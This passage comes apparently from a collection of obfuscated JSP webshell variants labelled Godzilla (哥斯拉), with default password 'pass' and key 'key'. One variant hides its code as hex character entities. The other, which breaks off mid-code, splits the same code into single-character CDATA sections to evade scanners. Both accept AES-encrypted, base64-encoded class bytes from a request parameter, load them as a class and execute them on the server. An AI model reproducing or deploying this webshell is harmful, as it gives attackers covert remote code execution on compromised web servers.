#x69;&#x6f;&#x6e;&#x20;&#x65;&#x32;&#x29;&#x20;&#x7b;&#x7d;&#x7d;&#x72;&#x65;&#x74;&#x75;&#x72;&#x6e;&#x20;&#x76;&#x61;&#x6c;&#x75;&#x65;&#x3b;&#x20;&#x7d;&#x20;&#x70;&#x75;&#x62;&#x6c;&#x69;&#x63;&#x20;&#x73;&#x74;&#x61;&#x74;&#x69;&#x63;&#x20;&#x62;&#x79;&#x74;&#x65;&#x5b;&#x5d;&#x20;&#x62;&#x61;&#x73;&#x65;&#x36;&#x34;&#x44;&#x65;&#x63;&#x6f;&#x64;&#x65;&#x28;&#x53;&#x74;&#x72;&#x69;&#x6e;&#x67;&#x20;&#x62;&#x73;&#x29;&#x20;&#x74;&#x68;&#x72;&#x6f;&#x77;&#x73;&#x20;&#x45;&#x78;&#x63;&#x65;&#x70;&#x74;&#x69;&#x6f;&#x6e;&#x20;&#x7b;&#x43;&#x6c;&#x61;&#x73;&#x73;&#x20;&#x62;&#x61;&#x73;&#x65;&#x36;&#x34;&#x3b;&#x62;&#x79;&#x74;&#x65;&#x5b;&#x5d;&#x20;&#x76;&#x61;&#x6c;&#x75;&#x65;&#x20;&#x3d;&#x20;&#x6e;&#x75;&#x6c;&#x6c;&#x3b;&#x74;&#x72;&#x79;&#x20;&#x7b;&#x62;&#x61;&#x73;&#x65;&#x36;&#x34;&#x3d;&#x43;&#x6c;&#x61;&#x73;&#x73;&#x2e;&#x66;&#x6f;&#x72;&#x4e;&#x61;&#x6d;&#x65;&#x28;&#x22;&#x6a;&#x61;&#x76;&#x61;&#x2e;&#x75;&#x74;&#x69;&#x6c;&#x2e;&#x42;&#x61;&#x73;&#x65;&#x36;&#x34;&#x22;&#x29;&#x3b;&#x4f;&#x62;&#x6a;&#x65;&#x63;&#x74;&#x20;&#x64;&#x65;&#x63;&#x6f;&#x64;&#x65;&#x72;&#x20;&#x3d;&#x20;&#x62;&#x61;&#x73;&#x65;&#x36;&#x34;&#x2e;&#x67;&#x65;&#x74;&#x4d;&#x65;&#x74;&#x68;&#x6f;&#x64;&#x28;&#x22;&#x67;&#x65;&#x74;&#x44;&#x65;&#x63;&#x6f;&#x64;&#x65;&#x72;&#x22;&#x2c;&#x20;&#x6e;&#x75;&#x6c;&#x6c;&#x29;&#x2e;&#x69;&#x6e;&#x76;&#x6f;&#x6b;&#x65;&#x28;&#x62;&#x61;&#x73;&#x65;&#x36;&#x34;&#x2c;&#x20;&#x6e;&#x75;&#x6c;&#x6c;&#x29;&#x3b;&#x76;&#x61;&#x6c;&#x75;&#x65;&#x20;&#x3d;&#x20;&#x28;&#x62;&#x79;&#x74;&#x65;&#x5b;&#x5d;&#x29;&#x64;&#x65;&#x63;&#x6f;&#x64;&#x65;&#x72;&#x2e;&#x67;&#x65;&#x74;&#x43;&#x6c;&#x61;&#x73;&#x73;&#x28;&#x29;&#x2e;&#x67;&#x65;&#x74;&#x4d;&#x65;&#x74;&#x68;&#x6f;&#x64;&#x28;&#x22;&#x64;&#x65;&#x63;&#x6f;&#x64;&#x65;&#x22;&#x2c;&#x20;&#x6e;&#x65;&#x77;&#x20;&#x43;&#x6c;&#x61;&#x73;&#x73;&#x5b;&#x5d;&#x20;&#x7b;&#x20;&#x53;&#x74;&#x72;&#x69;&#x6e;&#x67;&#x2e;&#x63;&#x6c;&#x61;&#x73;&#x73;&#x20;&#x7d;&#x29;&#x2e;&#x69;&#x6e;&#x76;&#x6f;&#x6b;&#x65;&#x28;&#x64;&#x65;&#x63;&#x6f;&#x64;&#x65;&#x72;&#x2c;&#x20;&#x6e;&#x65;&#x77;&#x20;&#x4f;&#x62;&#x6a;&#x65;&#x63;&#x74;&#x5b;&#x5d;&#x20;&#x7b;&#x20;&#x62;&#x73;&#x20;&#x7d;&#x29;&#x3b;&#x7d;&#x20;&#x63;&#x61;&#x74;&#x63;&#x68;&#x20;&#x28;&#x45;&#x78;&#x63;&#x65;&#x70;&#x74;&#x69;&#x6f;&#x6e;&#x20;&#x65;&#x29;&#x20;&#x7b;&#x74;&#x72;&#x79;&#x20;&#x7b;&#x20;&#x62;&#x61;&#x73;&#x65;&#x36;&#x34;&#x3d;&#x43;&#x6c;&#x61;&#x73;&#x73;&#x2e;&#x66;&#x6f;&#x72;&#x4e;&#x61;&#x6d;&#x65;&#x28;&#x22;&#x73;&#x75;&#x6e;&#x2e;&#x6d;&#x69;&#x73;&#x63;&#x2e;&#x42;&#x41;&#x53;&#x45;&#x36;&#x34;&#x44;&#x65;&#x63;&#x6f;&#x64;&#x65;&#x72;&#x22;&#x29;&#x3b;&#x20;&#x4f;&#x62;&#x6a;&#x65;&#x63;&#x74;&#x20;&#x64;&#x65;&#x63;&#x6f;&#x64;&#x65;&#x72;&#x20;&#x3d;&#x20;&#x62;&#x61;&#x73;&#x65;&#x36;&#x34;&#x2e;&#x6e;&#x65;&#x77;&#x49;&#x6e;&#x73;&#x74;&#x61;&#x6e;&#x63;&#x65;&#x28;&#x29;&#x3b;&#x20;&#x76;&#x61;&#x6c;&#x75;&#x65;&#x20;&#x3d;&#x20;&#x28;&#x62;&#x79;&#x74;&#x65;&#x5b;&#x5d;&#x29;&#x64;&#x65;&#x63;&#x6f;&#x64;&#x65;&#x72;&#x2e;&#x67;&#x65;&#x74;&#x43;&#x6c;&#x61;&#x73;&#x73;&#x28;&#x29;&#x2e;&#x67;&#x65;&#x74;&#x4d;&#x65;&#x74;&#x68;&#x6f;&#x64;&#x28;&#x22;&#x64;&#x65;&#x63;&#x6f;&#x64;&#x65;&#x42;&#x75;&#x66;&#x66;&#x65;&#x72;&#x22;&#x2c;&#x20;&#x6e;&#x65;&#x77;&#x20;&#x43;&#x6c;&#x61;&#x73;&#x73;&#x5b;&#x5d;&#x20;&#x7b;&#x20;&#x53;&#x74;&#x72;&#x69;&#x6e;&#x67;&#x2e;&#x63;&#x6c;&#x61;&#x73;&#x73;&#x20;&#x7d;&#x29;&#x2e;&#x69;&#x6e;&#x76;&#x6f;&#x6b;&#x65;&#x28;&#x64;&#x65;&#x63;&#x6f;&#x64;&#x65;&#x72;&#x2c;&#x20;&#x6e;&#x65;&#x77;&#x20;&#x4f;&#x62;&#x6a;&#x65;&#x63;&#x74;&#x5b;&#x5d;&#x20;&#x7b;&#x20;&#x62;&#x73;&#x20;&#x7d;&#x29;&#x3b;&#x7d;&#x20;&#x63;&#x61;&#x74;&#x63;&#x68;&#x20;&#x28;&#x45;&#x78;&#x63;&#x65;&#x70;&#x74;&#x69;&#x6f;&#x6e;&#x20;&#x65;&#x32;&#x29;&#x20;&#x7b;&#x7d;&#x7d;&#x72;&#x65;&#x74;&#x75;&#x72;&#x6e;&#x20;&#x76;&#x61;&#x6c;&#x75;&#x65;&#x3b;&#x20;&#x7d;</jsp:declaration><jsp:scriptlet>&#x74;&#x72;&#x79;&#x7b;&#x62;&#x79;&#x74;&#x65;&#x5b;&#x5d;&#x20;&#x64;&#x61;&#x74;&#x61;&#x3d;&#x62;&#x61;&#x73;&#x65;&#x36;&#x34;&#x44;&#x65;&#x63;&#x6f;&#x64;&#x65;&#x28;&#x72;&#x65;&#x71;&#x75;&#x65;&#x73;&#x74;&#x2e;&#x67;&#x65;&#x74;&#x50;&#x61;&#x72;&#x61;&#x6d;&#x65;&#x74;&#x65;&#x72;&#x28;&#x70;&#x61;&#x73;&#x73;&#x29;&#x29;&#x3b;&#x64;&#x61;&#x74;&#x61;&#x3d;&#x78;&#x28;&#x64;&#x61;&#x74;&#x61;&#x2c;&#x20;&#x66;&#x61;&#x6c;&#x73;&#x65;&#x29;&#x3b;&#x69;&#x66;&#x20;&#x28;&#x73;&#x65;&#x73;&#x73;&#x69;&#x6f;&#x6e;&#x2e;&#x67;&#x65;&#x74;&#x41;&#x74;&#x74;&#x72;&#x69;&#x62;&#x75;&#x74;&#x65;&#x28;&#x22;&#x70;&#x61;&#x79;&#x6c;&#x6f;&#x61;&#x64;&#x22;&#x29;&#x3d;&#x3d;&#x6e;&#x75;&#x6c;&#x6c;&#x29;&#x7b;&#x73;&#x65;&#x73;&#x73;&#x69;&#x6f;&#x6e;&#x2e;&#x73;&#x65;&#x74;&#x41;&#x74;&#x74;&#x72;&#x69;&#x62;&#x75;&#x74;&#x65;&#x28;&#x22;&#x70;&#x61;&#x79;&#x6c;&#x6f;&#x61;&#x64;&#x22;&#x2c;&#x6e;&#x65;&#x77;&#x20;&#x58;&#x28;&#x74;&#x68;&#x69;&#x73;&#x2e;&#x67;&#x65;&#x74;&#x43;&#x6c;&#x61;&#x73;&#x73;&#x28;&#x29;&#x2e;&#x67;&#x65;&#x74;&#x43;&#x6c;&#x61;&#x73;&#x73;&#x4c;&#x6f;&#x61;&#x64;&#x65;&#x72;&#x28;&#x29;&#x29;&#x2e;&#x51;&#x28;&#x64;&#x61;&#x74;&#x61;&#x29;&#x29;&#x3b;&#x7d;&#x65;&#x6c;&#x73;&#x65;&#x7b;&#x72;&#x65;&#x71;&#x75;&#x65;&#x73;&#x74;&#x2e;&#x73;&#x65;&#x74;&#x41;&#x74;&#x74;&#x72;&#x69;&#x62;&#x75;&#x74;&#x65;&#x28;&#x22;&#x70;&#x61;&#x72;&#x61;&#x6d;&#x65;&#x74;&#x65;&#x72;&#x73;&#x22;&#x2c;&#x64;&#x61;&#x74;&#x61;&#x29;&#x3b;&#x6a;&#x61;&#x76;&#x61;&#x2e;&#x69;&#x6f;&#x2e;&#x42;&#x79;&#x74;&#x65;&#x41;&#x72;&#x72;&#x61;&#x79;&#x4f;&#x75;&#x74;&#x70;&#x75;&#x74;&#x53;&#x74;&#x72;&#x65;&#x61;&#x6d;&#x20;&#x61;&#x72;&#x72;&#x4f;&#x75;&#x74;&#x3d;&#x6e;&#x65;&#x77;&#x20;&#x6a;&#x61;&#x76;&#x61;&#x2e;&#x69;&#x6f;&#x2e;&#x42;&#x79;&#x74;&#x65;&#x41;&#x72;&#x72;&#x61;&#x79;&#x4f;&#x75;&#x74;&#x70;&#x75;&#x74;&#x53;&#x74;&#x72;&#x65;&#x61;&#x6d;&#x28;&#x29;&#x3b;&#x4f;&#x62;&#x6a;&#x65;&#x63;&#x74;&#x20;&#x66;&#x3d;&#x28;&#x28;&#x43;&#x6c;&#x61;&#x73;&#x73;&#x29;&#x73;&#x65;&#x73;&#x73;&#x69;&#x6f;&#x6e;&#x2e;&#x67;&#x65;&#x74;&#x41;&#x74;&#x74;&#x72;&#x69;&#x62;&#x75;&#x74;&#x65;&#x28;&#x22;&#x70;&#x61;&#x79;&#x6c;&#x6f;&#x61;&#x64;&#x22;&#x29;&#x29;&#x2e;&#x6e;&#x65;&#x77;&#x49;&#x6e;&#x73;&#x74;&#x61;&#x6e;&#x63;&#x65;&#x28;&#x29;&#x3b;&#x66;&#x2e;&#x65;&#x71;&#x75;&#x61;&#x6c;&#x73;&#x28;&#x61;&#x72;&#x72;&#x4f;&#x75;&#x74;&#x29;&#x3b;&#x66;&#x2e;&#x65;&#x71;&#x75;&#x61;&#x6c;&#x73;&#x28;&#x70;&#x61;&#x67;&#x65;&#x43;&#x6f;&#x6e;&#x74;&#x65;&#x78;&#x74;&#x29;&#x3b;&#x72;&#x65;&#x73;&#x70;&#x6f;&#x6e;&#x73;&#x65;&#x2e;&#x67;&#x65;&#x74;&#x57;&#x72;&#x69;&#x74;&#x65;&#x72;&#x28;&#x29;&#x2e;&#x77;&#x72;&#x69;&#x74;&#x65;&#x28;&#x6d;&#x64;&#x35;&#x2e;&#x73;&#x75;&#x62;&#x73;&#x74;&#x72;&#x69;&#x6e;&#x67;&#x28;&#x30;&#x2c;&#x31;&#x36;&#x29;&#x29;&#x3b;&#x66;&#x2e;&#x74;&#x6f;&#x53;&#x74;&#x72;&#x69;&#x6e;&#x67;&#x28;&#x29;&#x3b;&#x72;&#x65;&#x73;&#x70;&#x6f;&#x6e;&#x73;&#x65;&#x2e;&#x67;&#x65;&#x74;&#x57;&#x72;&#x69;&#x74;&#x65;&#x72;&#x28;&#x29;&#x2e;&#x77;&#x72;&#x69;&#x74;&#x65;&#x28;&#x62;&#x61;&#x73;&#x65;&#x36;&#x34;&#x45;&#x6e;&#x63;&#x6f;&#x64;&#x65;&#x28;&#x78;&#x28;&#x61;&#x72;&#x72;&#x4f;&#x75;&#x74;&#x2e;&#x74;&#x6f;&#x42;&#x79;&#x74;&#x65;&#x41;&#x72;&#x72;&#x61;&#x79;&#x28;&#x29;&#x2c;&#x20;&#x74;&#x72;&#x75;&#x65;&#x29;&#x29;&#x29;&#x3b;&#x72;&#x65;&#x73;&#x70;&#x6f;&#x6e;&#x73;&#x65;&#x2e;&#x67;&#x65;&#x74;&#x57;&#x72;&#x69;&#x74;&#x65;&#x72;&#x28;&#x29;&#x2e;&#x77;&#x72;&#x69;&#x74;&#x65;&#x28;&#x6d;&#x64;&#x35;&#x2e;&#x73;&#x75;&#x62;&#x73;&#x74;&#x72;&#x69;&#x6e;&#x67;&#x28;&#x31;&#x36;&#x29;&#x29;&#x3b;&#x7d;&#x20;&#x7d;&#x63;&#x61;&#x74;&#x63;&#x68;&#x20;&#x28;&#x45;&#x78;&#x63;&#x65;&#x70;&#x74;&#x69;&#x6f;&#x6e;&#x20;&#x65;&#x29;&#x7b;&#x7d;</jsp:scriptlet></jsp:root>

CDATA

哥斯拉

哥斯拉，密码pass，密钥key

<?xml version="1.0" encoding="UTF-8"?><jsp:root xmlns:jsp="http://java.sun.com/JSP/Page" version="1.2"><jsp:declaration><![CDATA[ ]]><![CDATA[S]]><![CDATA[t]]><![CDATA[r]]><![CDATA[i]]><![CDATA[n]]><![CDATA[g]]><![CDATA[ ]]><![CDATA[x]]><![CDATA[c]]><![CDATA[=]]><![CDATA["]]><![CDATA[3]]><![CDATA[c]]><![CDATA[6]]><![CDATA[e]]><![CDATA[0]]><![CDATA[b]]><![CDATA[8]]><![CDATA[a]]><![CDATA[9]]><![CDATA[c]]><![CDATA[1]]><![CDATA[5]]><![CDATA[2]]><![CDATA[2]]><![CDATA[4]]><![CDATA[a]]><![CDATA["]]><![CDATA[;]]><![CDATA[ ]]><![CDATA[S]]><![CDATA[t]]><![CDATA[r]]><![CDATA[i]]><![CDATA[n]]><![CDATA[g]]><![CDATA[ ]]><![CDATA[p]]><![CDATA[a]]><![CDATA[s]]><![CDATA[s]]><![CDATA[=]]><![CDATA["]]><![CDATA[p]]><![CDATA[a]]><![CDATA[s]]><![CDATA[s]]><![CDATA["]]><![CDATA[;]]><![CDATA[ ]]><![CDATA[S]]><![CDATA[t]]><![CDATA[r]]><![CDATA[i]]><![CDATA[n]]><![CDATA[g]]><![CDATA[ ]]><![CDATA[m]]><![CDATA[d]]><![CDATA[5]]><![CDATA[=]]><![CDATA[m]]><![CDATA[d]]><![CDATA[5]]><![CDATA[(]]><![CDATA[p]]><![CDATA[a]]><![CDATA[s]]><![CDATA[s]]><![CDATA[+]]><![CDATA[x]]><![CDATA[c]]><![CDATA[)]]><![CDATA[;]]><![CDATA[ ]]><![CDATA[c]]><![CDATA[l]]><![CDATA[a]]><![CDATA[s]]><![CDATA[s]]><![CDATA[ ]]><![CDATA[X]]><![CDATA[ ]]><![CDATA[e]]><![CDATA[x]]><![CDATA[t]]><![CDATA[e]]><![CDATA[n]]><![CDATA[d]]><![CDATA[s]]><![CDATA[ ]]><![CDATA[C]]><![CDATA[l]]><![CDATA[a]]><![CDATA[s]]><![CDATA[s]]><![CDATA[L]]><![CDATA[o]]><![CDATA[a]]><![CDATA[d]]><![CDATA[e]]><![CDATA[r]]><![CDATA[{]]><![CDATA[p]]><![CDATA[u]]><![CDATA[b]]><![CDATA[l]]><![CDATA[i]]><![CDATA[c]]><![CDATA[ ]]><![CDATA[X]]><![CDATA[(]]><![CDATA[C]]><![CDATA[l]]><![CDATA[a]]><![CDATA[s]]><![CDATA[s]]><![CDATA[L]]><![CDATA[o]]><![CDATA[a]]><![CDATA[d]]><![CDATA[e]]><![CDATA[r]]><![CDATA[ ]]><![CDATA[z]]><![CDATA[)]]><![CDATA[{]]><![CDATA[s]]><![CDATA[u]]><![CDATA[p]]><![CDATA[e]]><![CDATA[r]]><![CDATA[(]]><![CDATA[z]]><![CDATA[)]]><![CDATA[;]]><![CDATA[}]]><![CDATA[p]]><![CDATA[u]]><![CDATA[b]]><![CDATA[l]]><![CDATA[i]]><![CDATA[c]]><![CDATA[ ]]><![CDATA[C]]><![CDATA[l]]><![CDATA[a]]><![CDATA[s]]><![CDATA[s]]><![CDATA[ ]]><![CDATA[Q]]><![CDATA[(]]><![CDATA[b]]><![CDATA[y]]><![CDATA[t]]><![CDATA[e]]><![CDATA[[]]><![CDATA[]]]><![CDATA[ ]]><![CDATA[c]]><![CDATA[b]]><![CDATA[)]]><![CDATA[{]]><![CDATA[r]]><![CDATA[e]]><![CDATA[t]]><![CDATA[u]]><![CDATA[r]]><![CDATA[n]]><![CDATA[ ]]><![CDATA[s]]><![CDATA[u]]><![CDATA[p]]><![CDATA[e]]><![CDATA[r]]><![CDATA[.]]><![CDATA[d]]><![CDATA[e]]><![CDATA[f]]><![CDATA[i]]><![CDATA[n]]><![CDATA[e]]><![CDATA[C]]><![CDATA[l]]><![CDATA[a]]><![CDATA[s]]><![CDATA[s]]><![CDATA[(]]><![CDATA[c]]><![CDATA[b]]><![CDATA[,]]><![CDATA[ ]]><![CDATA[0]]><![CDATA[,]]><![CDATA[ ]]><![CDATA[c]]><![CDATA[b]]><![CDATA[.]]><![CDATA[l]]><![CDATA[e]]><![CDATA[n]]><![CDATA[g]]><![CDATA[t]]><![CDATA[h]]><![CDATA[)]]><![CDATA[;]]><![CDATA[}]]><![CDATA[ ]]><![CDATA[}]]><![CDATA[p]]><![CDATA[u]]><![CDATA[b]]><![CDATA[l]]><![CDATA[i]]><![CDATA[c]]><![CDATA[ ]]><![CDATA[b]]><![CDATA[y]]><![CDATA[t]]><![CDATA[e]]><![CDATA[[]]><![CDATA[]]]><![CDATA[ ]]><![CDATA[x]]><![CDATA[(]]><![CDATA[b]]><![CDATA[y]]><![CDATA[t]]><![CDATA[e]]><![CDATA[[]]><![CDATA[]]]><![CDATA[ ]]><![CDATA[s]]><![CDATA[,]]><![CDATA[b]]><![CDATA[o]]><![CDATA[o]]><![CDATA[l]]><![CDATA[e]]><![CDATA[a]]><![CDATA[n]]><![CDATA[ ]]><![CDATA[m]]><![CDATA[)]]><![CDATA[{]]><![CDATA[ ]]><![CDATA[t]]><![CDATA[r]]><![CDATA[y]]><![CDATA[{]]><![CDATA[j]]><![CDATA[a]]><![CDATA[v]]><![CDATA[a]]><![CDATA[x]]><![CDATA[.]]><![CDATA[c]]><![CDATA[r]]><![CDATA[y]]><![CDATA[p]]><![CDATA[t]]><![CDATA[o]]><![CDATA[.]]><![CDATA[C]]><![CDATA[i]]><![CDATA[p]]><![CDATA[h]]><![CDATA[e]]><![CDATA[r]]><![CDATA[ ]]><![CDATA[c]]><![CDATA[=]]><![CDATA[j]]><![CDATA[a]]><![CDATA[v]]><![CDATA[a]]><![CDATA[x]]><![CDATA[.]]><![CDATA[c]]><![CDATA[r]]><![CDATA[y]]><![CDATA[p]]><![CDATA[t]]><![CDATA[o]]><![CDATA[.]]><![CDATA[C]]><![CDATA[i]]><![CDATA[p]]><![CDATA[h]]><![CDATA[e]]><![CDATA[r]]><![CDATA[.]]><![CDATA[g]]><![CDATA[e]]><![CDATA[t]]><![CDATA[I]]><![CDATA[n]]><![CDATA[s]]><![CDATA[t]]><![CDATA[a]]><![CDATA[n]]><![CDATA[c]]><![CDATA[e]]><![CDATA[(]]><![CDATA["]]><![CDATA[A]]><![CDATA[E]]><![CDATA[S]]><![CDATA["]]><![CDATA[)]]><![CDATA[;]]><![CDATA[c]]><![CDATA[.]]><![CDATA[i]]><![CDATA[n]]><![CDATA[i]]><![CDATA[t]]><![CDATA[(]]><![CDATA[m]]><![CDATA[?]]><![CDATA[1]]><![CDATA[:]]><![CDATA[2]]><![CDATA[,]]><![CDATA[n]]><![CDATA[e]]><![CDATA[w]]><![CDATA[ ]]><![CDATA[j]]><![CDATA[a]]><![CDATA[v]]><![CDATA[a]]><![CDATA[x]]><![CDATA[.]]><![CDATA[c]]><![CDATA[r]]><![CDATA[y]]><![CDATA[p]]><![CDATA[t]]><![CDATA[o]]><![CDATA[.]]><![CDATA[s]]><![CDATA[p]]><![CDATA[e]]><![CDATA[c]]><![CDATA[.]]><![CDATA[S]]><![CDATA[e]]><![CDATA[c]]><![CDATA[r]]><![CDATA[e]]><![CDATA[t]]><![CDATA[K]]><![CDATA[e]]><![CDATA[y]]><![CDATA[S]]><![CDATA[p]]><![CDATA[e]]><![CDATA[c]]><![CDATA[(]]><![CDATA[x]]><![CDATA[c]]><![CDATA[.]]><![CDATA[g]]><![CDATA[e]]><![CDATA[t]]><![CDATA[B]]><![CDATA[y]]><![CDATA[t]]><![CDATA[e]]><![CDATA[s]]><![CDATA[(]]><![CDATA[)]]><![CDATA[,]]><![CDATA["]]><![CDATA[A]]><![CDATA[E]]><![CDATA[S]]><![CDATA["]]><![CDATA[)]]><![CDATA[)]]><![CDATA[;]]><![CDATA[r]]><![CDATA[e]]><![CDATA[t]]><![CDATA[u]]><![CDATA[r]]><![CDATA[n]]><![CDATA[ ]]><![CDATA[c]]><![CDATA[.]]><![CDATA[d]]><![CDATA[o]]><![CDATA[F]]><![CDATA[i]]><![CDATA[n]]><![CDATA[a]]><![CDATA[l]]><![CDATA[(]]><![CDATA[s]]><![CDATA[)]]><![CDATA[;]]><![CDATA[ ]]><![CDATA[}]]><![CDATA[c]]><![CDATA[a]]><![CDATA[t]]><![CDATA[c]]><![CDATA[h]]><![CDATA[ ]]><![CDATA[(]]><![CDATA[E]]><![CDATA[x]]><![CDATA[c]]><![CDATA[e]]><![CDATA[p]]><![CDATA[t]]><![CDATA[i]]><![CDATA[o]]><![CDATA[n]]><![CDATA[ ]]><![CDATA[e]]><![CDATA[)]]><![CDATA[{]]><![CDATA[r]]><![CDATA[e]]><![CDATA[t]]><![CDATA[u]]><![CDATA[r]]><![CDATA[n]]><![CDATA[ ]]><![CDATA[n]]><![CDATA[u]]><![CDATA[l]]><![CDATA[l]]><![CDATA[;]]><![CDATA[ ]]><![CDATA[}]]><![CDATA[}]]><![CDATA[ ]]><![CDATA[p]]><![CDATA[u]]><![CDATA[b]]><![CDATA[l]]><![CDATA[i]]><![CDATA[c]]><![CDATA[ ]]><![CDATA[s]]><![CDATA[t]]><![CDATA[a]]><![CDATA[t]]><![CDATA[i]]><![CDATA[c]]><![CDATA[ ]]><![CDATA[S]]><![CDATA[t]]><![CDATA[r]]><![CDATA[i]]><![CDATA[n]]><![CDATA[g]]><![CDATA[ ]]><![CDATA[m]]><![CDATA[d]]><![CDATA[5]]><![CDATA[(]]><![CDATA[S]]><![CDATA[t]]><![CDATA[r]]><![CDATA[i]]><![CDATA[n]]><![CDATA[g]]><![CDATA[ ]]><![CDATA[s]]><![CDATA[)]]><![CDATA[ ]]><![CDATA[{]]><![CDATA[S]]><![CDATA[t]]><![CDATA[r]]><![CDATA[i]]><![CDATA[n]]><![CDATA[g]]><![CDATA[ ]]><![CDATA[r]]><![CDATA[e]]><![CDATA[t]]><![CDATA[ ]]><![CDATA[=]]><![CDATA[ ]]><![CDATA[n]]><![CDATA[u]]><![CDATA[l]]><![CDATA[l]]><![CDATA[;]]><![CDATA[t]]><![CDATA[r]]><![CDATA[y]]><![CDATA[ ]]><![CDATA[{]]><![CDATA[j]]><![CDATA[a]]><![CDATA[v]]><![CDATA[a]]><![CDATA[.]]><![CDATA[s]]><![CDATA[e]]><![CDATA[c]]><![CDATA[u]]><![CDATA[r]]><![CDATA[i]]><![CDATA[t]]><![CDATA[y]]><![CDATA[.]]><![CDATA[M]]><![CDATA[e]]><![CDATA[s]]><![CDATA[s]]><![CDATA[a]]><![CDATA[g]]><![CDATA[e]]><![CDATA[D]]><![CDATA[i]]><![CDATA[g]]><![CDATA[e]]><![CDATA[s]]><![CDATA[t]]><![CDATA[ ]]><![CDATA[m]]><![CDATA[;]]><![CDATA[m]]><![CDATA[ ]]><![CDATA[=]]><![CDATA[ ]]><![CDATA[j]]><![CDATA[a]]><![CDATA[v]]><![CDATA[a]]><![CDATA[.]]><![CDATA[s]]><![CDATA[e]]><![CDATA[c]]><![CDATA[u]]><![CDATA[r]]><![CDATA[i]]><![CDATA[t]]><![CDATA[y]]><![CDATA[.]]><![CDATA[M]]><![CDATA[e]]><![CDATA[s]]><![CDATA[s]]><![CDATA[a]]><![CDATA[g]]><![CDATA[e]]><![CDATA[D]]><![CDATA[i]]><![CDATA[g]]><![CDATA[e]]><![CDATA[s]]><![CDATA[t]]><![CDATA[.]]><![CDATA[g]]><![CDATA[e]]><![CDATA[t]]><![CDATA[I]]><![CDATA[n]]><![CDATA[s]]><![CDATA[t]]><![CDATA[a]]><![CDATA[n]]><![CDATA[c]]><![CDATA[e]]><![CDATA[(]]><![CDATA["]]><![CDATA[M]]><![CDATA[D]]><![CDATA[5]]><![CDATA["]]><![CDATA[)]]><![CDATA[;]]><![CDATA[m]]><![CDATA[.]]><![CDATA[u]]><![CDATA[p]]><![CDATA[d]]><![CDATA[a]]><![CDATA[t]]><![CDATA[e]]><![CDATA[(]]><![CDATA[s]]><![CDATA[.]]><![CDATA[g]]><![CDATA[e]]><![CDATA[t]]><![CDATA[B]]><![CDATA[y]]><![CDATA[t]]><![CDATA[e]]><![CDATA[s]]><![CDATA[(]]><![CDATA[)]]><![CDATA[,]]><![CDATA[ ]]><![CDATA[0]]><![CDATA[,]]><![CDATA[ ]]><![CDATA[s]]><![CDATA[.]]><![CDATA[l]]><![CDATA[e]]><![CDATA[n]]><![CDATA[g]]><![CDATA[t]]><![CDATA[h]]><![CDATA[(]]><![CDATA[)]]><![CDATA[)]]><![CDATA[;]]><![CDATA[r]]><![CDATA[e]]><![CDATA[t]]><![CDATA[ ]]><![CDATA[=]]><![CDATA[ ]]><![CDATA[n]]><![CDATA[e]]><![CDATA[w]]><![CDATA[ ]]><![CDATA[j]]><![CDATA[a]]><![CDATA[v]]><![CDATA[a]]><![CDATA[.]]><![CDATA[m]]><![CDATA[a]]><![CDATA[t]]><![CDATA[h]]><![CDATA[.]]><![CDATA[B]]><![CDATA[i]]><![CDATA[g]]><![CDATA[I]]><![CDATA[n]]><![CDATA[t]]><![CDATA[e]]><![CDATA[g]]><![CDATA[e]]><![CDATA[r]]><![CDATA[(]]><![CDATA[1]]><![CDATA[,]]><![CDATA[ ]]><![CDATA[m]]><![CDATA[.]]><![CDATA[d]]><![CDATA[i]]><![CDATA[g]]><![CDATA[e]]><![CDATA[s]]><![CDATA[t]]><![CDATA[(]]><![CDATA[)]]><![CDATA[)]]><![CDATA[.]]><![CDATA[t]]><![CDATA[o]]><![CDATA[S]]><![CDATA[t]]><![CDATA[r]]><![CDATA[i]]><![CDATA[n]]><![CDATA[g]]><![CDATA[(]]><![CDATA[1]]><![CDATA[6]]><![CDATA[)]]><![CDATA[.]]><![CDATA[t]]><![CDATA[o]]><![CDATA[U]]><![CDATA[p]]><![CDATA[p]]><![CDATA[e]]><![CDATA[r]]><![CDATA[C]]><![CDATA[a]]><![CDATA[s]]><![CDATA[e]]><![CDATA[(]]><![CDATA[)]]><![CDATA[;]]><![CDATA[}]]><![CDATA[ ]]><![CDATA[c]]><![CDATA[a]]><![CDATA[t]]><![CDATA[c]]><![CDATA[h]]><![CDATA[ ]]><![CDATA[(]]><![CDATA[E]]><![CDATA[x]]><![CDATA[c]]><![CDATA[e]]><![CDATA[p]]><![CDATA[t]]><![CDATA[i]]><![CDATA[o]]><![CDATA[n]]><![CDATA[ ]]><![CDATA[e]]><![CDATA[)]]><![CDATA[ ]]><![CDATA[{]]><![CDATA[}]]><![CDATA[r]]><![CDATA[e]]><![CDATA[t]]><![CDATA[u]]><![CDATA[r]]><![CDATA[n]]><![CDATA[ ]]><![CDATA[r]]><![CDATA[e]]><![CDATA[t]]><![CDATA[;]]><![CDATA[ ]]><![CDATA[}]]><![CDATA[ ]]><![CDATA[p]]><![CDATA[u]]><![CDATA[b]]><![CDATA[l]]><![CDATA[i]]><![CDATA[c]]><![CDATA[ ]]><![CDATA[s]]><![CDATA[t]]><![CDATA[a]]><![CDATA[t]]><![CDATA[i]]><![CDATA[c]]><![CDATA[ ]]><![CDATA[S]]><![CDATA[t]]><![CDATA[r]]><![CDATA[i]]><![CDATA[n]]><![CDATA[g]]><![CDATA[ ]]><![CDATA[b]]><![CDATA[a]]><![CDATA[s]]><![CDATA[e]]><![CDATA[6]]><![CDATA[4]]><![CDATA[E]]><![CDATA[n]]><![CDATA[c]]><![CDATA[o]]><![CDATA[d]]><![CDATA[e]]><![CDATA[(]]><![CDATA[b]]><![CDATA[y]]><![CDATA[t]]><![CDATA[e]]><![CDATA[[]]><![CDATA[]]]><![CDATA[ ]]><![CDATA[b]]><![CDATA[s]]><![CDATA[)]]><![CDATA[ ]]><![CDATA[t]]><![CDATA[h]]><![CDATA[r]]><![CDATA[o]]><![CDATA[w]]><![CDATA[s]]><![CDATA[ ]]><![CDATA[E]]><![CDATA[x]]><![CDATA[c]]><![CDATA[e]]><![CDATA[p]]><![CDATA[t]]><![CDATA[i]]><![CDATA[o]]><![CDATA[n]]><![CDATA[ ]]><![CDATA[{]]><![CDATA[C]]><![CDATA[l]]><![CDATA[a]]><![CDATA[s]]><![CDATA[s]]><![CDATA[ ]]><![CDATA[b]]><![CDATA[a]]><![CDATA[s]]><![CDATA[e]]><![CDATA[6]]><![CDATA[4]]><![CDATA[;]]><![CDATA[S]]><![CDATA[t]]><![CDATA[r]]><![CDATA[i]]><![CDATA[n]]><![CDATA[g]]><![CDATA[ 